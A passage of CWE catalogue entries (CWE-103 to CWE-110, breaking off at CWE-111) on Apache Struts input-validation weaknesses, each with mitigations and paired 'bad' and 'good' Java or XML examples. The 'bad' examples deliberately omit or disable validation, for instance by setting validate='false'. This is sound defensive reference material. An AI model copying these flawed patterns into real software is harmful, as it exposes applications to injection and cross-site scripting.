Weakness ID : 103 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

Extended Description

If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	573	Improper Following of Specification by Caller	1153

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	B	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

Common Consequences

Scope	Impact	Likelihood
Other	Other *Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.*	
Confidentiality Integrity Availability Other	Other *Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.*	

Potential Mitigations

Phase: Implementation

Implement the validate() method and call super.validate() within that method.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. Tthe RegistrationForm class implements the validate method to validate the user input entered into the form.

Example Language: Java *(bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = new ActionErrors();
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
        return errors;
    }
    // getter and setter methods for private variables
    ...
}
```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be

performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

Example Language: Java *(good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = super.validate(mapping, request);
        if (errors == null) {
            errors = new ActionErrors();
        }
    if (getName() == null || getName().length() < 1) {
        errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;
}
    // getter and setter methods for private variables
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This could introduce other weaknesses related to missing input validation.

Maintenance

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Erroneous validate() Method
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID : 104 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

Common Consequences

Scope	Impact	Likelihood
Other	Other *Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.*	
Confidentiality Integrity Availability Other	Other *Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.*	

Potential Mitigations

Phase: Implementation

Ensure that all forms extend one of the Validation Classes.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java *(bad)*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

Example Language: Java *(good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Form Bean Does Not Extend Validation Class
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-105: Struts: Form Field Without Validator

Weakness ID : 105 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

Extended Description

Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Integrity	Bypass Protection Mechanism *If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.*	

Potential Mitigations

Phase: Implementation

Ensure that you validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

Demonstrative Examples

Example 1:

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Example Language: *(result)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

Example Language: XML *(bad)*

```
<form-validation>
    <formset>
        <form name="RegistrationForm">
            <field property="name" depends="required">
                <arg position="0" key="prompt.name"/>
            </field>
            <field property="address" depends="required">
                <arg position="0" key="prompt.address"/>
            </field>
            <field property="city" depends="required">
                <arg position="0" key="prompt.city"/>
            </field>
            <field property="state" depends="required,mask">
                <arg position="0" key="prompt.state"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[a-zA-Z]{2}</var-value>
                </var>
            </field>
            <field property="zipcode" depends="required,mask">
                <arg position="0" key="prompt.zipcode"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>\d{5}</var-value>
                </var>
            </field>
        </form>
    </formset>
</form-validation>
```

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

Example Language: XML *(good)*

```
<form-validation>
   <formset>
      <form name="RegistrationForm">
         <field property="name" depends="required">
            <arg position="0" key="prompt.name"/>
         </field>
         <field property="address" depends="required">
            <arg position="0" key="prompt.address"/>
         </field>
         <field property="city" depends="required">
            <arg position="0" key="prompt.city"/>
         </field>
         <field property="state" depends="required,mask">
            <arg position="0" key="prompt.state"/>
            <var>
               <var-name>mask</var-name>
               <var-value>[a-zA-Z]{2}</var-value>
            </var>
         </field>
         <field property="zipcode" depends="required,mask">
            <arg position="0" key="prompt.zipcode"/>
            <var>
               <var-name>mask</var-name>
               <var-value>\d{5}</var-value>
            </var>
         </field>
         <field property="phone" depends="required,mask">
            <arg position="0" key="prompt.phone"/>
            <var>
               <var-name>mask</var-name>
               <var-value>^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$</var-value>
            </var>
         </field>
         <field property="email" depends="required,email">
            <arg position="0" key="prompt.email"/>
         </field>
      </form>
   </formset>
</form-validation>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Form Field Without Validator
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-106: Struts: Plug-in Framework not in Use

Weakness ID : 106 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

Extended Description

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Use an input validation framework such as Struts.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an input validation framework such as Struts.

Phase: Implementation

Strategy = Input Validation

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

Phase: Implementation

Strategy = Libraries or Frameworks

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

Example Language: Java *(bad)*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Example Language: Java *(good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
```

```
}
```

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

Example Language: XML *(good)*

```
<struts-config>
   <form-beans>
      <form-bean name="RegistrationForm" type="RegistrationForm"/>
   </form-beans>
   ...
   <!-- ========================= Validator plugin ================================= -->
   <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
      <set-property
         property="pathnames"
         value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
   </plug-in>
</struts-config>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Plug-in Framework Not In Use

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-107: Struts: Unused Validation Form

Weakness ID : 107 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An unused validation form indicates that validation logic is not up-to-date.

Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Remove the unused Validation Form from the validation.xml file.

Demonstrative Examples

Example 1:

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Example Language: Java *(bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    // no longer using the phone form field
    // private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

Example Language: XML *(bad)*

```
<form-validation>
    <formset>
```

```
        <form name="RegistrationForm">
            <field property="name" depends="required">
                <arg position="0" key="prompt.name"/>
            </field>
            <field property="address" depends="required">
                <arg position="0" key="prompt.address"/>
            </field>
            <field property="city" depends="required">
                <arg position="0" key="prompt.city"/>
            </field>
            <field property="state" depends="required,mask">
                <arg position="0" key="prompt.state"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>[a-zA-Z]{2}</var-value>
                </var>
            </field>
            <field property="zipcode" depends="required,mask">
                <arg position="0" key="prompt.zipcode"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>\d{5}</var-value>
                </var>
            </field>
            <field property="phone" depends="required,mask">
                <arg position="0" key="prompt.phone"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$</var-value>
                </var>
            </field>
            <field property="email" depends="required,email">
                <arg position="0" key="prompt.email"/>
            </field>
        </form>
    </formset>
</form-validation>
```

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Unused Validation Form

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-108: Struts: Unvalidated Action Form

Weakness ID : 108 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Every Action Form must have a corresponding validation form.

Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.*	
Confidentiality Integrity Availability Other	Other *Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Map every Action Form to a corresponding validation form. An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Unvalidated Action Form
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-109: Struts: Validator Turned Off

Weakness ID : 109 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Ensure that an action form mapping enables validation. Set the validate field to true.

Demonstrative Examples

Example 1:

This mapping defines an action for a download form:

Example Language: XML *(bad)*

```
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
scope="request"
input=".download"
validate="false">
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Other

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "<" and a > with ">". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Validator Turned Off
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-110: Struts: Validator Without Form Field

Weakness ID : 110 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.*	

Detection Methods

Automated Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Effectiveness = Moderate

Manual Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

This example shows an inconsistency between an action form and a validation form. with a third field.

This first block of code shows an action form that has two fields, startDate and endDate.

Example Language: Java *(bad)*

```
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

Example Language: XML *(bad)*

```
<form name="DateRangeForm">
    <field property="startDate" depends="date">
        <arg0 key="start.date"/>
    </field>
    <field property="endDate" depends="date">
        <arg0 key="end.date"/>
    </field>
    <field property="scale" depends="integer">
        <arg0 key="range.scale"/>
    </field>
</form>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Validator Without Form Field
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-111: Direct Use of Unsafe JNI

Weakness ID : 111 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

Extended Description

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

Relationships

